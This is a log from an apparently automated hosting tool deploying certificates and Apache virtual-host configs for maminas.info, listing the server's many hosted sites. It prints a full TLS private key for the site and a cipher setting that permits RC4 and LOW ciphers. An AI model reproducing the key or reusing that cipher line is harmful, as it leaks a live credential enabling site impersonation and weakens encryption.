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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-08 06:00:16: 

chmod 755 /tmp/pkp968796; /tmp/pkp968796; rm /tmp/pkp968796

2026-06-08 06:00:16: 


dir=/etc/ssl/certs


2026-06-08 06:00:16: 

PUT: /tmp/pkp434305

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/maminas_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-08 06:00:16: 

chmod 755 /tmp/pkp434305; /tmp/pkp434305; rm /tmp/pkp434305

2026-06-08 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf 40

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-08 06:00:16: 

PUT: /tmp/pkp223548

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=maminas_www_info.conf
TARGET=/etc/apache2/sites-enabled/maminas_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/maminas_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/maminas_www_info.conf= 1'
fi


2026-06-08 06:00:16: 

chmod 755 /tmp/pkp223548; /tmp/pkp223548; rm /tmp/pkp223548

2026-06-08 06:00:16: 




2026-06-08 06:00:16: 

PUT: /tmp/pkp578149

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-08 06:00:16: 

chmod 755 /tmp/pkp578149; /tmp/pkp578149; rm /tmp/pkp578149

2026-06-08 06:00:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-08 06:00:16: Establishing a connection
2026-06-08 06:00:16: 

PUT: /tmp/pkp541377

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-08 06:00:17: 

chmod 755 /tmp/pkp541377; /tmp/pkp541377; rm /tmp/pkp541377

2026-06-08 06:00:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-08 06:00:17: 

PUT: /tmp/pkp283428

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/maminas_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-08 06:00:17: 

chmod 755 /tmp/pkp283428; /tmp/pkp283428; rm /tmp/pkp283428

2026-06-08 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf	1355

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-08 06:00:17: 

PUT: /tmp/pkp591621

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-08 06:00:17: 

chmod 755 /tmp/pkp591621; /tmp/pkp591621; rm /tmp/pkp591621

2026-06-08 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt	7428
69:0e:e1:ae:c4:34:96:de:d9:69:b7:15:28:73:67:24

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBuBt6Izk2ko41UW+vPOawNiHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjA4MDUwMTQ0WhcNMjYwOTA2MDUwMTQzWjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCT
nBAp8lZNVp4HOvOVTplY4w6WM+aFpJuWpCtNNcFoJ4MtY7rAW7yCP8DGneZgAWQU
Yf7VSTuUhbEYgUV9ejgH0bPWdflEb+AOlqG+N39h4BZ2/zBStY9Wg8vRW35AqT5W
sVNssztx9ItoGSdCIx5Fsxv4am9sxQYkQv4gF8dj+6xYCTsFknqWYlvQHMfpLBaE
ZfIVh1lzqitZMhLw/xBbI0gu9CkFtbk3XruzF++yQeP3K/9+LAxtDgkr0xOAx4HH
3+oWf28LCpWOphkxChDRTRcku9o+vYANw6vlcpIeyCbfByE7dRVyQJ6fidxgELRc
ptXq8t31ub2B5/TUjLRHAgMBAAGjggIqMIICJjAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUXvXP41BG
EFl8I5slfQJOS1hlksAwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPsw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxtYW1pbmFzLmluZm+CEHd3dy5tYW1pbmFzLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0cDovL3ly
MS5jLmxlbmNyLm9yZy84LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB2ANgJ
VTuUT3r/yBYZb5RPhauw+Pxeh1UmDxXRLnK7RUsUAAABnqXRPzwAAAQDAEcwRQIg
dKjydU2spourXPB6N4bvDejjR9M8IXqa+kwuPSKeazYCIQDebiSXL3KtBH4w07jJ
LsBBAInyl3m3yZ91mtO+l7PK2QB9AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFz
gJ4YGOs6AAABnqXRQmIACAAABQAPYAL3BAMARjBEAiBO3iG7FABl4jVpyssXFoF5
un6bTISkYFTiegaF+mHmgQIgIsVIoiR1VrIAHrpu7ODxaDET7xU5530gqFuVu4Sg
kQUwDQYJKoZIhvcNAQELBQADggEBAHN3zV7F7ytOjZFLhpgkNWxJDXxJ+0tFv9Ol
b0d3MtEsaadt9Dh86/dAlaSd+hSziTH0CN7eTC5BGJGkgbjSdrGAl8WDpaaHnphZ
/+9Wr/D++jspZwmeEwV82syRoBt6DhOYKj/IxbGgcGLNQGi/FIlKAFX/AjzMFk2v
N52eLxzIgByCenptM7fOomxXXl8nRloPsN4f75byzByeukTEHk8IbWLiieoiXQ5N
69tdaNfWBiy4TbwF50IgRgHlsN98BeUOXCj+M4KsiiG+73OO6sKhiEBUQ3kUO2V4
hSsRBlvTLjp3G9h6kDAo60bQO5z2WFZF1iNNg1OAqyPw7w4zqiw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCTnBAp8lZNVp4H
OvOVTplY4w6WM+aFpJuWpCtNNcFoJ4MtY7rAW7yCP8DGneZgAWQUYf7VSTuUhbEY
gUV9ejgH0bPWdflEb+AOlqG+N39h4BZ2/zBStY9Wg8vRW35AqT5WsVNssztx9Ito
GSdCIx5Fsxv4am9sxQYkQv4gF8dj+6xYCTsFknqWYlvQHMfpLBaEZfIVh1lzqitZ
MhLw/xBbI0gu9CkFtbk3XruzF++yQeP3K/9+LAxtDgkr0xOAx4HH3+oWf28LCpWO
phkxChDRTRcku9o+vYANw6vlcpIeyCbfByE7dRVyQJ6fidxgELRcptXq8t31ub2B
5/TUjLRHAgMBAAECggEARgHmDqbvdIWotIAqp70b8LLbp7Rc2DSOUF9zZA6jOI1I
4z2iBHpdyR6IhQq9iPoP57Tkgm7VsabIq/kfppfRPDAijYvtWZ5/0xtxAcDbiuWX
cf+tAQU4Qs2GXLh6hBtgxAgdK3hEMNNNTOVlH7J9OIxurx5300wMkiUt1rXAbPPn
EbsqIydHC8qFJqd2kMvd3Qmrjc2YOeooIvKX1QxMiuWMvw5iX+fHFjFFBL+eUftT
RJq+3n59H2AJr6+OIYngRtkXOUGs8Hy94ZQUtUl5drZDome9pB7NdIo9jQS8JQzm
3MTN5Lgk5x6iXpi6HaO9vEN6eT3kjlMMv0zlDIChLQKBgQDMq9OVWI9sHUZvkuFa
vmjPfJ/g6SVF9ShzZToOGYI7nyRItllNcBzqARIYiaNNmIq1fEbNCdnqQjxy8H13
rY1Mc94P/G9rWUO++ah2aGI9P8j04hSSjiSJs9cIozyhlX8WqiSJlb720Lh0aXKf
LD7wu4MCmvzMBrPGk2PIe0uhXQKBgQC4oM4AH2AqHfzo+vitzE2Ru6WP+BQHuo/A
pkZ+pikHB+hq2EmJ6p4NQmU0O7bJDW8rvwl0+cr5JfQ0/FrPsx9xPohW4oGnuFXW
4UY13r9eDbYTMOGAP6Ok2xxem7TYS4F0+GXCiGDIsFHQjPs3y+an/Bs9zcxbC04r
lzp8Vbcd8wKBgQCrJvUkao5lBoYkP1ucGqZi/ABmgBDfU4ekF/5YVBSH7yjUdUhw
bVSAiqyrQE4DUZCM+4PpaleEgicyptEFB2ilii8khyBVUKxKQ1QQ0HF2bqSJw5UY
iS0cyfsECh1lsjI4rccoFsU+eIQHNTbYzJNFlEiWIS1NID2tzQsgV5qDMQKBgB+i
RcmVlqeAvd25arR0pfHLYgG58sykNY8/riJzG+J9g2ATMP51eaEx+B8sABSQvbSU
Je2qAxIPY7lUZ8bgnQmNOlUQuEBhgCuyK5J9WPKnjMPbAzgzLznG5SR8r07EGSlO
ijj7nwGj3FDMZxrXT+0GcDB1u4b59+nWHopBMX/rAoGAcZ5gj5THF9zRBb14wuBX
2UAa6q/USEW2Le2fScsocqQzWvvuRV+RjqD66mylsj808NTloLqTJu7Kb46UDmUC
wsHd0fr9ba8tXSseHNiNyviyNQnA68Yr2zLj7001KxBW/QsbOmYMrwiEqQfYq0f+
nOW3lhoEohq2Nvgv6p0CaSg=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
